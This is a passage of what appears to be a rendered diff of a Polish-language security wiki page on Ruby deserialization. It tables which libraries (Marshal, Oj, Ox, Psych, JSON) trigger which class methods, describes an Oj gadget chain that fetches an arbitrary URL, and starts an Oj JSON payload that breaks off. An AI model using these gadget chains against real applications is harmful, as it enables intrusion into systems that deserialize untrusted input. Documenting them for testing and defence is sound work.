<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Dane wejściowe</strong></td><td><strong>Metoda uruchamiająca wewnątrz klasy</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa musi być umieszczona w hash(map) jako klucz)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Podstawowy przykład:
|
||||
```ruby
|
||||
|
@ -880,7 +882,7 @@ puts json_payload
|
|||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która wewnątrz swojej funkcji `hash` wywoła `to_s`, co wywoła spec, które wywoła fetch\_path, co pozwoliło na pobranie losowego URL, co stanowi doskonały wskaźnik tego rodzaju nieoczyszczonych podatności na deserializację.
|
||||
W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która wewnątrz swojej funkcji `hash` wywoła `to_s`, co wywoła spec, które wywoła fetch\_path, co było możliwe do zrobienia, aby pobrać losowy URL, co stanowi doskonały detektor tego rodzaju nieoczyszczonych podatności na deserializację.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
|
|
Loading…
Add table
Reference in a new issue